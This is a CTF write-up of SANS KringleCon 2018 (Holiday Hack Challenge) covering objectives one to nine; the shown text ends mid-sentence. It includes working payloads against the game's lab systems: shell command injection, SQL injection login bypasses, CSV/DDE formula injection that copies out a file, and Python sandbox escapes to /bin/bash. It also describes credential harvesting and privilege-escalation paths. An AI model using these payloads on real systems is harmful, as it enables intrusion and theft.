SANS KringleCon 2018 — write-up

noobintheshell
39 min readJan 15, 2019

Each end-of-year, SANS and CounterHack teams organize a Holiday Hack Challenge. This year, along with security challenges, we can attend KringleCon, ‘the first-ever cybersecurity conference hosted by Santa and his elves’.

Challenges and talks are available through Santa’s Castle, a 3D world where we can interact with other players and with NPCs to complete the challenges. The talks are available on the 1st floor of the castle. Alternatively, they can be found on Youtube’s KringleCon channel.

Regarding the challenges, there is a total of 10 objectives to complete along with 9 optional terminal challenges that, if resolved, give us hints on how to complete the main objectives.

Santa’s Castle welcome

The more objectives are completed, the more narratives are unlocked. This is my solution to complete all objectives and optional challenges. Let’s start…

Narrative 1/12

Note: if no other indication, all commands and scripts you will find below are run on macOS. Especially sed syntax may slighly differ from Linux versions.

Table of Contents

* Objective 1 - Orientation Challenge
Essential Editor Skills / Objective 1 — Solution
* Objective 2 - Directory Browsing
The Name Game / Objective 2 - Solution
* Objective 3- Directory Browsing
Lethal ForensicELFication / Objective 3 - Solution
* Objective 4 - Directory Browsing
Stall Mucking Report / Objective 4 - Solution
* Objective 5 - Directory Browsing
CURLing Master / Objective 5 - Solution
* Objective 6 - Directory Browsing
Yule Log Analysis / Objective 6 - Solution
* Objective 7 - Directory Browsing
Dev Ops Fail / Objective 7 - Solution
* Objective 8 - Directory Browsing
Python Escape from LA / Objective 8 - Solution
* Objective 9 - Directory Browsing
Sleigh Bell Lottery / Objective 9 - Solution (Part 1, 2, 3, 4)
* Objective 10 - Directory Browsing
Objective 10 - Solution
* Epilogue* The Google Ventilation
* Easter Eggs
Objective 1 description

[Terminal Challenge] Essential Editor Skills

We have to talk to Bushy Evergreen in the castle’s entrance hall and click the Cranberry Pi to launch a terminal based challenge:

Objective 1 and terminal challenge location

This challenge is as easy as…quitting a vi editor with :q .

‘Essential Editor Skills’ terminal challenge

We can then talk again to the elf to get the hint:

Wow, it seems so easy now that you’ve shown me how! To thank you, I’d like to share some other tips with you.Have you taken a look at the Orientation Challenge?This challenge is limited to past SANS Holiday Hack Challenges from 2015, 2016, and 2017. You DO NOT need to play those challenges.

If you listen closely to Ed Skoudis’ talk at the con, you might even pick up all the answers you need…

It may take a little poking around, but with your skills, I’m sure it’ll be a wintergreen breeze!

And we get a link to the past challenges solutions.

[Objective 1 — Solution]

Click the Kringle History Kiosk in the entrance hall to start. There are 6 questions to answer on the previous Holiday Hack Challenge editions to get the flag. We can use the write-ups of 2015, 2016 and 2017 to easily answer them. Alternatively, we can answer the questions by watching the START HERE video.

Question 1
In 2015, the Dosis siblings asked for help understanding what piece of their “Gnome in Your Home” toy?
Answer: Firmware
Question 2
In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
Answer: ATNAS
Question 3
In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
Answer: Business Card
Question 4
In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
Answer: Cranberry PI
Question 5
In 2017, the North Pole was being bombarded by giant objects. What were they?
Answer: Snowballs
Question 6
In 2017, Sam the snowman needed help reassembling pages torn from what?
Answer: The Great Book

Flag: Happy trails

Objective 2 description

Please analyze the CFP site to find out

[Terminal Challenge] The Name Game

Visit Minty Candycane in the castle entrance hall and click the Cranberry Pi to launch a terminal based challenge:

Terminal challenge location

The goal is to find the first name of the user having the last name Chan. As explained by the elf, this is a Powershell terminal and we need to find a way to inject commands.

‘The Name Game’ terminal challenge

By choosing 1, we can register a new employee and by choosing 2, we access a ping service, which seems more suitable to inject commands. We can try to ping localhost:

Validating data store for employee onboard information.
Enter address of server: 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.055 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.043 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2035ms
rtt min/avg/max/mdev = 0.029/0.046/0.075/0.021 ms
onboard.db: SQLite 3.x database

The output looks like a /bin/ping -c 3 127.0.0.1 followed by a file onboard.db that shows that a SQLite3 database is used to store the user’s information.

If we change the IP address to127.0.0.1;ls, the script will execute/bin/ping -c 3 127.0.0.1;ls which will execute the ping followed by ls. To get a shell we can replace ls by /bin/sh.

We can then list the following files:

menu.ps1 onboard.db runtoanswer

Users information must be in the onboard.db database file and we can query it as follows:

sqlite3 onboard.dbsqlite> .tables
onboard
sqlite> PRAGMA table_info(onboard);
0|id|INTEGER|0||1
1|fname|TEXT|1||0
2|lname|TEXT|1||0
3|street1|TEXT|0||0
4|street2|TEXT|0||0
5|city|TEXT|0||0
6|postalcode|TEXT|0||0
7|phone|TEXT|0||0
8|email|TEXT|0||0
sqlite> SELECT * FROM onboard WHERE lname LIKE 'Chan';
84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com

We can now submit the first name Scott to theruntoanswer program:

;runtoanswer
Loading, please wait......
Enter Mr. Chan's first name: Scott
Congratulations!

Note 1: By reading the source code of menu.ps1, we see that there is a backdoor. We can access a Powershell shell with the hidden menu 9:

menu.ps1 code snippet

Note 2: a dump of the database can be found here.

We talk again to the elf to get the hint:

On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL.

And a link to directory listing misconfigurations.

[Objective 2 — Solution]

The goal is to find ‘who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness’ by analyzing the CFP website.

CFP website

By browsing the website we see a folder cfp. When we browse it, we see its content as the directory listing is enabled:

Content of /cfp folder

Search for ‘Data Loss for Rainbow Teams’ in the CSV file to get the full name we are looking for.

Flag: John McClane

Objective 3 description

[Terminal Challenge] Lethal ForensicELFication

Tangle Coalbox can be found on the 1st floor, left corridor.

Objective 3 and terminal challenge location (the ‘Speaker Unpreparedness Room’ opens only after we find the door’s passcode)

The goal is to find for whom the elf’s love poem was written.

‘Lethal ForensicELFication’ terminal challenge

The poem is in a hidden folder .secret/her/poem.txt . We can read that it has been written for a certain NEVERMORE. However, this solution does not validate.

We can see a .viminfo as well in the home folder. This file is a vimcache file and contains command history and search history among other information.

By reading .viminfo we get the command line history:

Objective 3 — ~/.viminfo snippet

The following vim command looks for the string Elinore and replaces it by NEVERMORE in all the lines:

:%s/Elinore/NEVERMORE/g

We submit the name Elinore to theruntoanswer program and talk again to the elf to get the hint:

Have you been able to solve the lock with the funny shapes?It reminds me of something called “de Bruijn Sequences.” You can optimize the guesses because there is no start and stop — each new value is added to the end and the first is removed. I’ve even seen de Bruijn sequence generators online.

Here the length of the alphabet is 4 (only 4 buttons) and the length of the PIN is 4 as well. Mathematically this is k=4, n=4 to generate the de Bruijn sequence.

We get as well link1 and link2 which talk about the de Bruijn sequence.

[Objective 3 — Solution]

We have the Doorpasscode website that we need to use to find the door’s passcode.

Doorpasscode website landing page

Each shape has a value: triangle=0, square=1, circle=2, star=3 and we need to find the right sequence to unlock the door. As mentioned in the objective title and in the hints, this is a de Bruijn sequence. It is a cyclic sequence of size k^n where k is the alphabet length and n is the sequence size. In our case k = n = 4, therefore, the complete sequence is 256 characters long. As the number of possibilities is pretty small, we could try manually all the possible combinations…but were is the fun?!

From the page source code we get the AJAX call done:

And the JSON response to such call is:

{“success”:false,”message”:”Incorrect guess.”}

We can generate the full de Bruijn sequence B(4,4)and cycle through it until we get a response where success=true.

The Python script used can be found here. The output is The sequence is: 0120 . Which means triangle, square, circle, triangle:

Doorpasscode website correct guess

Back in the Santa’s Castle to open the door. Inside the new room, we find the elf Morcel Nougat who gives us the flag.

Flag: Welcome unprepared speaker!

Note: There is a way to get the flag without finding the correct code. The victory banner is in fact hidden initially and will be unhidden when we get the code. The link to victory the banner is in the source code.

Upon completion we unlock the next two narratives:

Narrative 2–3/12
Objective 4 description

North Pole Git repository

[Terminal Challenge] Stall Mucking Report

Wunorse Openslae is on the ground floor, right corridor.

Terminal challenge location

The objective is to upload the file report.txt on a remote server using an authenticated SMB connection.

‘Stall Mucking Report’ terminal challenge

The following command asks for elf user’s password that we don’t have:

$ smbclient //localhost/report-upload/ -c ‘put report.txt’

This suggested article shows that passwords in command lines can be visible by listing processes with ps:

$ ps -aux > ps.txt
$ cat ps.txt
[...]
manager 18 0.0 0.0 9500 2504 pts/0 S 23:17 0:00 /bin/bash /home/manager/samba-wrapper.sh — verbosity=none — no-check-certificate — extraneous-command-argument — do-not-run-as-tyler — accept-sage-advice -a 42 -d~ — ignore-sw-holiday-special — suppress — suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
[...]

Indeed, we can read that the samba-wrapper.sh script uses the username and password as arguments: report-upload:directreindeerflatterystable. We can now upload our file and complete this challenge:

$ smbclient //localhost/report-upload/ -c ‘put report.txt’ -U report-upload
directreindeerflatterystable

The elf gives us a link to truffleHog git repository.

[Objective 4 — Solution]

We need to find an encrypted ZIP file in a given GitLab project. We can use the built-in search feature to find and download the ZIP file:

https://git.kringlecastle.com/Upatree/santas_castle_automation gitlab project

My many attempts at password’s dictionary and brute-force attacks with fcrackzip were not successful. Let’s try to use the tool proposed in the hint:

truffleHog project description

We run:

$ ./truffleHog.py https://git.kringlecastle.com/Upatree/santas_castle_automation

And the first two findings are:

truffleHog output snippet

They correspond respectively to this commit and this one. The latter reveals our ZIP’s password and flag. The content reveals the maps of the Google Ventilation maze (1F, 2F).

Flag: Yippee-ki-yay

Note: from the second output, we can see that what is flagged is not the password, but the Change ID (in yellow) due to the high entropy check. If it was not present, we would have missed the password. A better way to use this tool in our case is to remove the entropy check and use a regex JSON file instead. We can get a base regex list from this repository and add a very basic check: "Password in text":".*[pP]assword.*". Then run as follows:

$ ./truffleHog.py --rules regexes.json --regex --entropy=False https://git.kringlecastle.com/Upatree/santas_castle_automation
truffleHog output snippet with regexes

Upon completion we unlock the next two narratives:

Narrative 4–5/12
Objective 5 description

SANS Slingshot Linux image

[Terminal Challenge] CURLing Master

Visit Holly Evergreen on the ground floor, right corridor.

Terminal challenge location

The goal is to curl the local web server. The elf gives us a link to some HTTP/2 documentation.

‘CURLing Master’ terminal challenge

Looking at /etc/nginx/nginx.conf we see that the server listens on port 8080 for unencrypted HTTP/2 connections:

nginx.conf snippet — HTTP2 configuration

cURL is built with HTTP/2 support only. However, using the option --http2 will not work. Indeed, when requesting an ‘HTTP’ url with HTTP2 protocol, the client uses the HTTP Upgrade mechanism which implies to send first an HTTP/1.1 request with specific headers to negotiate the upgrade to HTTP/2. As the server does not understand it, it responds with garbage. Therefore we have to use the option --http2-prior-knowledge which does a HTTP/2 request straight:

$ curl --http2-prior-knowledge http://localhost:8080/index.php
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"


</body>
</html>
$ curl --http2-prior-knowledge -XPOST http://localhost:8080/index.php -d "status=on"

Back to the elf, he gives us the hint:

Have you ever used Bloodhound for testing Active Directory implementations?

It’s a merry little tool that can sniff AD and find paths to reaching privileged status on specific machines. AD implementations can get so complicated that administrators may not even know what paths they’ve set up that attackers might exploit.

With a demo video.

[Objective 5 — Solution]

We are given a Virtualbox OVA (to be imported as a 64bits Ubuntu) with BloodHound installed and ready to analyze a Windows AD domain data set.

“BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.”

Note: For this challenge, BloodHound is already configured with a data set coming from an Active Directory domain: AD.KRINGLECASTLE.COM. However, the data ingested by BloodHound can be retrieved from most AD instances without elevated privileges using SharpHound. BloodHound was first presented at BSide Las Vegas 2016.

BloodHound landing page

From the top-left menu, we can execute custom queries as well as Pre-Built Analytics Queries. In fact, our landing page is the result of the pre-built query Find All Domain Admins.

A Kerberoastable User is a user account that is used as SPN of a service. Such user can be sensitive to Kerberoast attacks which involve offline cracking of Kerberos Service Tickets. What if such user is as well part of the Domain Admins group? Some detailed blog posts on how to run Kerberoast attacks can be found here as well as in this 3 parts blog post: 1, 2, 3.

Let’s use the pre-built query Shortest Paths to Domain Admins from Kerberoastable Users to get a new view:

'Shortest Paths to Domain Admins from Kerberoastable Users' query

In red we see the only path that does not involve RDP. We can read it as follows:

The circled user is a member of the group IT_00332 that is local admin of COMP00185. Another user who is member of Domain Admins and Kerberoastable has an open session on the same computer. This means that the circled user could escalate its privileges from local admin to domain admin through COMP00185 by stealing tokens and impersonate the domain admin, by getting its clear-text password with mimikatz or by cracking its password using a Kerberoast attack.

The circled user’s logon name is the flag.

Flag: LDUBEJ00320@AD.KRINGLECASTLE.COM

Note: we can find many other possible paths to Domain Admins. For instance, if we want all the possible paths from userLDUBEJ00320, we get 11 paths in total:

Paths from LDUBEJ00320 to Domain Admins

Upon completion we unlock the next two narratives:

Narrative 6–7/12
Objective 6 description

A sample employee badge is available

[Terminal Challenge] Yule Log Analysis

Pepper Minstix can be found on the 1st floor, far left corridor :

Terminal challenge location

Password spraying has been used to compromise a webmail user. We are given a Windows event log file as well as a Python script to export .evtx files to XML which will be easier to grep. We need to find the user that has been compromised.

‘Yule Log Analysis’ terminal challenge

Let’s focus on 4625 (an account failed to log on) and 4624 (an account has successfully logged on) Windows events:

$ python evtx_dump.py ho-ho-no.evtx > evtx_dump.xml
$ grep -A 34 '4625' evtx_dump.xml
// 'grep -A 34' shows 34 lines after the found line which is used to see all the log until the source IP address.

The second log shows the start of the attack. There is first what seems to be a test login with user test.user at 12:54. The attack originates from 172.31.254.101 and targets what seems to be a Microsoft Exchange web access as the ProcessName and Computer fields show.

<EventID Qualifiers="">4625</EventID>
[...]
<TimeCreated SystemTime="2018-09-10 12:54:56.034510"></TimeCreated>
[...]
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
[...]
<Data Name="TargetUserName">test.user</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
[...]
<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
<Data Name="IpAddress">172.31.254.101</Data>
<Data Name="IpPort">40634</Data>

This is followed by an automated Password spraying attack from the same source IP from 13:03:33 until 13:05:39.

<TimeCreated SystemTime="2018-09-10 13:03:33.271959"></TimeCreated>
<Data Name="TargetUserName">aaron.smith</Data>
[...]
<TimeCreated SystemTime="2018-09-10 13:03:34.075348"></TimeCreated>
<Data Name="TargetUserName">abhishek.kumar</Data>
[...]
<TimeCreated SystemTime="2018-09-10 13:03:34.660316"></TimeCreated>
<Data Name="TargetUserName">adam.smith</Data>
[...]
<TimeCreated SystemTime="2018-09-10 13:03:35.204905"></TimeCreated>
<Data Name="TargetUserName">ahmed.ali</Data>
[...]
[...]
<TimeCreated SystemTime="2018-09-10 13:05:39.123190"></TimeCreated>
<Data Name="TargetUserName">wunorse.openslae</Data>

There is a total of 211 failed logins and only 2 successes:

// failed: id 4625
grep -A 34 '4625' evtx_dump.xml | grep '172\.31\.254\.101' | wc -l
211
// success: id 4624
grep -A 34 '4624' evtx_dump.xml | grep '172\.31\.254\.101' | wc -l
2

Both successes are with the same user, one during the automated scan, the other one after it:

grep -A 34 '4624' evtx_dump.xml | grep -B 34 '172\.31\.254\.101'
<TimeCreated SystemTime="2018-09-10 13:05:03.702278"></TimeCreated>
<Data Name="TargetUserName">minty.candycane</Data>
[...]
<TimeCreated SystemTime="2018-09-10 13:07:02.556292"></TimeCreated><Data Name="TargetUserName">minty.candycane</Data>

We submit minty.candycane to theruntoanswer program and talk again to the elf to get the hint:

All of the Kringle Castle employees have these cool cards with QR codes on them that give us access to restricted areas. Unfortunately, the badge-scan-o-matic said my account was disabled when I tried scanning my badge.

I really needed access so I tried scanning several QR codes I made from my phone but the scanner kept saying “User Not Found”. I researched a SQL database error from scanning a QR code with special characters in it and found it may contain an injection vulnerability. I was going to try some variations I found on OWASP but decided to stop so I don’t tick-off Alabaster.

And we get as well the following links 1 and 2.

[Objective 6 — Solution]

We have a door authentication panel website as well as a sample employee badge.

Scanomatic landing page & employee badge sample

The QR-Code on the badge gives the following string: oRfjg5uGHmbduj2m. We can suppose this is the password of Alabaster Snowball. It could look like base64 but it isn’t.

We can upload image files by clicking on the USB slot of the website. Only PNG files are allowed and we need to input QR-Codes. We can use qrcode to quickly generate PNG files:

qr "your_text" > image.png

If we create a QR-Code with the text oRfjg5uGHmbduj2m and upload it, we get the following answer:

AUTHORIZED USER ACCOUNT HAS BEEN DISABLED!

The second hint given is about SQLi, so let’s try to bypass the authentication by creating a QR-Code with the text oRfjg5uGHmbduj2m'. We get the below JSON error response with the SQL query executed:

{“data”:”EXCEPTION AT (LINE 96 \”user_info = query(\”SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = ‘{}’ LIMIT 1\”.format(uid))\”): (1064, u\”You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’oRfjg5uGHmbduj2m’’ LIMIT 1' at line 1\”)”,”request”:false}

We can easily bypass the authentication with a simple ' or enabled#or with' union select 1,1,1#. When uploading this bypass badge, we get the following message:

USER ACCESS GRANTED - CONTROL NUMBER 19880715

Flag: 19880715

Upon completion we unlock the next narrative:

Narrative 8/12
Objective 7 description

Gain access to the website

[Terminal Challenge] Dev Ops Fail

Sparkle Redberry can be found on the first floor, right side.

Terminal challenge location

The goal is to retrieve Sparkle Redberry’s password in a GIT repository.

‘Dev Ops Fail’ terminal challenge

Let’s look for a commit that involves a password change in the kcconfmgmt folder:

$ ls kcconfmgmt
$ grep -inr 'password' .git/*
.git/logs/refs/heads/master:9:b2376f4a93ca1889ba7d947c2d14be9a5d138802 60a2ffea7520ee980a5fc60177ff4d0633f2516b Sparkle Redberry <sredberry@kringlecon.com> 1541729463 -0500 commit: Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use
[...]

Looks promising. A git show with the commit hash shows what was the change:

‘git show’ output

We can see the user credentials that were replaced in this commit. We submit twinkletwinkletwinkle to theruntoanswer program and talk again to the elf to get the hint:

I wonder if Tangle Coalbox has taken a good look at his own employee import system.

It takes CSV files as imports. That certainly can expedite a process, but there’s danger to be had. I’ll bet, with the right malicious input, some naughty actor could exploit a vulnerability there.

I’m sure the danger can be mitigated. OWASP has guidance on what not to allow with such oploads.

And the following link.

[Objective 7 — Solution]

We have a website where we can apply for a job @KringleCastle and submit our resume in CSV format. The goal is to fetch the file located at C:\candidate_evaluation.docx and retrieve the name of a terrorist organization supported by one of the applicants.

Careers website landing page

If we upload a normal CSV we get the following confirmation message:

Thank you for taking the time to upload your information to our elf resources shared workshop station! Our elf resources will review your CSV work history within the next few minutes to see if you qualify to join our elite team of InfoSec Elves. If you are accepted, you will be added to our secret list of potential new elf hires located in C:\candidate_evaluation.docx

As described in this document, we can inject commands by uploading a CSV file containing the following value: =cmd|' /C calc'!A1. Now we need to find a way to retrieve the file with a Windows command.

When we browse a page that does not exist, the custom 404 error shows the following:

error 404 page

We can, therefore, copy the file in c:\careerportal\resources\public and get it by browsing https://carreers.kringlecastle.com/public/filename. Our CSV payload becomes:

=cmd|’/C copy C:\candidate_evaluation.docx C:\careerportal\resources\public\export.docx’!A0,,

After a few seconds, we can browse https://carreers.kringlecastle.com/public/export.docx to retrieve the file and read the following:

candidate_evaluation.docx snippet

Flag: Fancy Beaver

Upon completion we unlock the next three narratives:

Narrative 9–10–11/12
Objective 8 description

https://packalyzer.kringlecastle.com

[Terminal Challenge] Python Escape from LA

SugarPlum Mary can be found on the first floor, right side.

Terminal challenge location

The goal is to escape a Python jail:

‘Python Escape from LA’ terminal challenge

Fortunately, quitting the python interpreter with exit() or CRTL+D does not resolve the challenge :)

Let’s do some information gathering first to see what we are allowed to do and what we aren’t:

// Python version is 3.5
>>> help()
Welcome to Python 3.5's help utility!
// blocked commands
>>> import os
Use of the command import is prohibited for this question.
>>> __builtins__
Use of the command __builtins__ is prohibited for this question.
>>> __class__
Use of the command __class__ is prohibited for this question.
>>> exec
Use of the command exec is prohibited for this question.
// allowed commands
>>> print
<built-in function print>
>>> dir
<built-in function dir>
>>> eval
<built-in function eval>
>>> type
<class 'type'>

Let’s look at the list of names in the current local scope with dir() :

>>> dir()
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'banner', 'code', 'readfilter', 'readline', 'restricted_terms', 'whitelist']
  • banner is a string and contains the terminal banner we see in the above screenshot,
  • code is a python module that provides facilities to implement read-eval-print loops in Python,
  • readfilter and readline are functions,
  • restricted_terms and whitelist are lists. The latter is empty, but the former contains the blocked keywords:
>>> restricted_terms
['import', 'pty', 'open', 'exec', 'compile', 'os.system', 'subprocess.', 'reload', '__builtins__', '__class__', '__mro__']

Checking the names in code module we see another module: sys . sys has an interesting dictionnary modules that can be manipulated to force the reloading of modules. That’s all we need to run system commands and escape!

>>> dir(code)
['CommandCompiler', 'InteractiveConsole', 'InteractiveInterpreter', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'argparse', 'compile_command', 'interact', 'sys', 'traceback']
>>> code.sys.modules['os'].system('ls')
i_escaped
0
>>> code.sys.modules['os'].system('/bin/bash')

We have escaped and we can run i_escape to validate the challenge. Let’s retrieve as well the Python script. We can retrieve the path like this:

>>> __file__
'/bin/shell'

The source code can be found here. We can find in a comment another solution to escape the jail:

eval(“__im”+”port__(‘p’+’ty’).s”+”pawn(‘/bin/bash’)”)

Talk again with the elf to get the hint:

As a token of my gratitude, I would like to share a rumor I had heard about Santa’s new web-based packet analyzer — Packalyzer.

Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root. Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.

There was suspicious-looking development code using environment variables to store SSL keys and open up directories. This elf then told me that manipulating values in the URL gave back weird and descriptive errors. I’m hoping these errors can’t be used to compromise SSL on the website and steal logins.

On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!

[Objective 8 — Solution]

The goal is to access and decrypt HTTP/2 network activity sniffed using Packalyzer website features.

Packalyzer landing page

Once registered, we have access to a network packet sniffer where we can:

  • sniff 20 seconds of server traffic and analyze the result online:
Packalyzer — ‘Analyze’ menu
  • download the captures to be analyzed offline:
Packalyzer — ‘Capture’ menu
  • upload PCAP files and analyze the content online,
  • see our account information:
Packalyzer — ‘Account’ menu

Note: when using a proxy like Burp or OWASP ZAP we get the following error message:

Unknown ALPN Protocol, expected `h2` to be available.
If this is a HTTP request: The server was not configured with the `allowHTTP1` option or a listener for the `unknownProtocol` event.

which indicates the webserver uses HTTP/2. We will have to find a workaround, if needed, as none of the usual web proxies support HTTP/2 at the time of writing. A solution could be to use nghttpx as an intermediary proxy to translate HTTP/2 to HTTP/1.1 to be then captured by Burp/ZAP. Some documentation can be found here.

When analyzing a PCAP offline, we mainly see encrypted TLS traffic and we need to find a way to decrypt it:

Packalyzer — sniffed server traffic PCAP

Let’s analyze the website for possible weaknesses. From the page source-code we discover the following folders:

/pub, /pub/css, /pub/img, /pub/js, /pub/fonts
/uploads

and an interesting comment:

//File upload Function. All extensions and sizes are validated server-side in app.js

We find the server source code app.js in /pub. From it we discover the following information:

# REST API CALLS           # FOLDERS AND FILES
/api/login /pub/index.html
/api/logout /pub/home.html
/api/users /pub/register.html
/api/register /keys/server.key (not present on PROD)
/api/upload /keys/server.crt (not present on PROD)
/api/list
/api/delete
/api/sniff
/api/process

app.js shows as well that a debug mode is active dev_mode = true:

Packalyzer — app.js code snippets

As we can see in the above code snippets, in debug/dev mode:

  • environment variables are valid endpoints (routes) and will respond to client requests (line 88 & 164),
  • browsing an environment variable returns an error message because it tries to read it as an existing file (line 178). The error spits the value of the environment variable concatenated to the value of __dirname which is /opt/http2. For instance, browsing /path/ spits:
Error: ENOENT: no such file or directory, open '/opt/http2/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/'
  • on line 23, we see two interesting environment variables used and we can get their values as the PATH variable seen before:
process.env.DEV = /dev/
process.env.SSLKEYLOGFILE = packalyzer_clientrandom_ssl.log

The SSLKEYLOGFILE environment variable, if set, tells browsers like Firefox or Chrome to log the symmetric session keys used to encrypt TLS traffic in a file. Such log file can then be used in Wireshark to decrypt traffic.

As key_log_path = __dirname+process.env.DEV+process.env.SSLKEYLOGFILE, we can retrieve the log file at https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log

Let’s capture again some traffic and get the related log file again. In Wireshark, we can provide the log file in the SSL settings:

Wireshark SSL configuration

Out traffic gets decrypted and we can analyze it:

Packalyzer — Decrypted PCAP traffic

From the logs we see 3 different client IPs:

Packalyzer — PCAP traffic conversations

We can retrieve the login information of those 3 users by looking at the JSON payload of the/api/login calls:

Packalyzer — Login JSON payload

We can log in with the following accounts, to see that alabaster is an admin:

10.126.0.106    bushy:Floppity_Floopy-flab19283
10.126.0.104 alabaster:Packer-p@re-turntable192
10.126.0.105 pepper:Shiz-Bamer_wabl182
Packalyzer — alabaster account information

The admin has a stored capture super_secret_packet_capture.pcap which contains SMTP traffic. Following the unique TCP stream we get the email sent by Holly to Alabaster that contains a Base64 encoded attachment:

Packalyzer — Secret PCAP — TCP stream

Once decoded we get a PDF file describing the keyboard tones and the song we are looking for:

$ cat attachment.b64 | base64 -D > attachment_decoded
$ file attachment_decoded
attachment_decoded: PDF document, version 1.5

Flag: Mary Had a Little Lamb

Note: there is an additional admin account and its password is password but it does not have the admin flag and does not contain any captures.

Packalyzer — admin account information
Objective 9 description

[Terminal Challenge] Sleigh Bell Lottery

Shinny Upatree can be found at the top of the stairs.

Terminal challenge location

The goal is to run sleighbell-lotto and try to win the game. We have gdb, nm, readelf and objdump available.

‘Sleigh Bell Lottery’ terminal challenge

Let’s run the binary first:

$ ./sleighbell-lotto 

The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...

You drew ticket number 5227!

Sorry - better luck next year!

The winning ticket is always 1225. Let’s analyze the binary symbols first with readelfand filter to only show functions:

$ readelf -s sleighbell-lotto | grep FUNC
[...]
59: 0000000000000fd7 1248 FUNC GLOBAL DEFAULT 14 winnerwinner
81: 00000000000014b7 19 FUNC GLOBAL DEFAULT 14 sorry
88: 00000000000014ca 225 FUNC GLOBAL DEFAULT 14 main
[...]

So, we have our main function and two other interesting ones that are probably called when we win or when we lose. Let’s disassemble the main function to verify that:

$ gdb -q sleighbell-lotto
(gdb) set disassembly-flavor intel // show intel disass style
(gdb) disass main // disassemble main function
sleighbell-lotto — snippet of main function disassembly

The code is pretty straightforward: a random number is generated and compared to 1225 (0x4c9). If they are equal, winnerwinner is called, if not, sorry is.

We can change the execution flow to call any function with thejump command. We can, therefore, directly execute the function winnerwinner and complete the challenge.

(gdb) break main
(gdb) run
(gdb) jump winnerwinner

Alternatively, we can patch the jump after the compare from jne (opcode 0x75)to je (opcode 0x74), so that it jumps to fail only if the numbers are equal:

(gdb) break main
(gdb) run
(gdb) x/i 0x0000555555555589
0x555555555589 <main+191>: jne 0x555555555597 <main+205
(gdb) set *(unsigned char*)0x0000555555555589 = 0x74
(gdb) x/i 0x0000555555555589
0x555555555589 <main+191>: je 0x555555555597 <main+205>
(gdb) cont

The elf gives us the following hint:

Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?

Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted. Many elves were affected, so Alabaster went to go see if he could help out. I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.

An elf I follow online said he analyzed Wannacookie and that it communicates over DNS. He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.

Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie! Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt. Perhaps there is a flaw in the wannacookie author’s DNS server that we can manipulate to retrieve what we need.

If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.

[Objective 9 — Solution]

We need to access Santa’s secret room at the back of the first floor and help Alabaster to block the ransomware that hit his computer, analyze it and decrypt his data. This objective is divided into 4 parts.

Objective 9.1 and 9.3 locations
Alabaster’s infected computer

Part 1 — Catch the Malware

Objective 9.1 description

For this first part, we need to help Alabaster, in Santa’s secret room, to create a SNORT rule that will alert on new attacks.

‘Snort Challenge’ terminal

The goal is to analyze network traffic, find the ransomware traffic and build a SNORT rule to alert it. We are given a PCAP file of the last 30s of SNORT traffic and the following note:

more_info.txt

Let’s start by analyzing the provided PCAP files 1, 2, 3, stored on the website with Wireshark.

We can see only DNS TXT queries and responses, some valid, other more suspect. What we consider valid here, are DNS TXT queries on human-readable sub-domains that return a human-readable TXT record, even if the records show nonsense values.

DNS TXT valid queries

We have 2 hosts that look suspicious and both have the same behavior:

  1. the client sends a first DNS TXT query to:
77616E6E61636F6F6B69652E6D696E2E707331.nurhregsba.com

2. the server responds with the payload "64".

3. the client sends 64 DNS TXT queries to :

x.77616E6E61636F6F6B69652E6D696E2E707331.nurhregsba.com
where x increments from 0 to 63

4. the server responds with the 64 parts of the ransomware payload.

DNS TXT ransomware queries

By cross-checking the other PCAPs we confirm the same behavior and we get some additional domains used by the ransomware :

hnrrusgbea.ru
nurhregsba.com
grenarushb.org
sguenhrarb.com
ngesurbarh.com
aegruhsnrb.com

Notes:

1. 77616E6E61636F6F6B69652E6D696E2E707331 is ASCII code for wannacookie.min.ps1. This may indicate we are facing a Powershell ransomware.

2. The domain names always contains the same letters, scrambled, and could be an anagram.

The LAN subnet is 10.126.0.0/24, so our SNORT rule is (this doc can help as well as snorpy):

